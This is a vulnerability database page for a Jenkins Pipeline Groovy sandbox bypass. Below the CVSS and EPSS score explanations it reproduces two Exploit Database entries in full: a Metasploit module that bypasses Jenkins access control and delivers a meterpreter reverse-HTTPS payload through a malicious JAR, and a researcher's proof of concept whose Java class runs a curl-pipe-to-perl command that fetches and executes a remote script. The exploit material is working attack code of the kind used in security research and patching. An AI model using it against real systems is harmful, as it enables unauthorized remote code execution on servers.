Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 46572
Publication date : 2019-03-18 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
'Author' => [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
],
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
'Version' => Gem::Version.new('2.137')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
},
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('URIPATH')
end
=begin
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
def check
checkcode = CheckCode::Safe
res = send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1('/search/index'),
'vars_get' => {'q' => 'a'}
)
unless res && (version = res.headers['X-Jenkins'])
vprint_error('Jenkins not detected')
return CheckCode::Unknown
end
vprint_status("Jenkins #{version} detected")
checkcode = CheckCode::Detected
if Gem::Version.new(version) > target['Version']
vprint_error("Jenkins #{version} is not a supported target")
return CheckCode::Safe
end
vprint_good("Jenkins #{version} is a supported target")
checkcode = CheckCode::Appears
if res.body.include?('Administrator')
vprint_good('ACL bypass successful')
checkcode = CheckCode::Vulnerable
else
vprint_error('ACL bypass unsuccessful')
return CheckCode::Safe
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl
print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
'vars_get' => {'value' => go_go_gadget2}
)
end
#
# Exploit methods
#
=begin
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
=end
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
return normalize_uri(acl_bypass, custom_uri) if custom_uri
normalize_uri(
acl_bypass,
'/descriptorByName',
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
)
end
=begin
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
=end
def go_go_gadget2
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
end
#
# Payload methods
#
#
# If you deviate from the following sequence, you will suffer!
#
# HEAD /path/to/pom.xml -> 404
# HEAD /path/to/payload.jar -> 200
# GET /path/to/payload.jar -> 200
#
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri} requested")
unless %w[HEAD GET].include?(request.method)
vprint_error("Ignoring #{request.method} request")
return
end
if request.method == 'HEAD'
if request.uri != payload_uri
vprint_error('Sending 404')
return send_not_found(cli)
end
vprint_good('Sending 200')
return send_response(cli, '')
end
if request.uri != payload_uri
vprint_error('Sending bogus file')
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
end
vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)
# XXX: $HOME may not work in some cases
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
end
def payload_jar
jar = payload.encoded_jar
jar.add_file("#{app}.class", exploit_class)
jar.add_file(
'META-INF/services/org.codehaus.groovy.plugins.Runners',
"#{app}\n"
)
jar.pack
end
=begin javac Exploit.java
import metasploit.Payload;
public class Exploit {
public Exploit(){
try {
Payload.main(null);
} catch (Exception e) { }
}
}
=end
def exploit_class
klass = Rex::Text.decode_base64(
<<~EOF
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
AAAA
EOF
)
# Replace length-prefixed string "Exploit" with a random one
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
end
#
# Utility methods
#
def payload_uri
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
end
def vendor
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
end
def app
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
end
def version
@version ||= Faker::App.semantic_version
end
end
Exploit Database EDB-ID : 46427
Publication date : 2019-02-18 23h00 +00:00
Author : orange
EDB Verified : Yes
In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?
By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!
void processOtherServices(ClassLoader loader, File f) {
try {
ZipFile zf = new ZipFile(f)
ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
if (serializedCategoryMethods != null) {
processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
}
ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
if (pluginRunners != null) {
processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
}
} catch(ZipException ignore) {
// ignore files we can't process, e.g. non-jar/zip artifacts
// TODO log a warning
}
}
JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:
void processRunners(InputStream is, String name, ClassLoader loader) {
is.text.readLines().each {
GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
}
}
Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!
Here is the full exploit:
public class Poc {
public Poc(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...
PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
Products Mentioned
Configuraton 0
Jenkins>>Pipeline:_groovy >> Version To (including) 2.61
Configuraton 0
Redhat>>Openshift_container_platform >> Version 3.11
References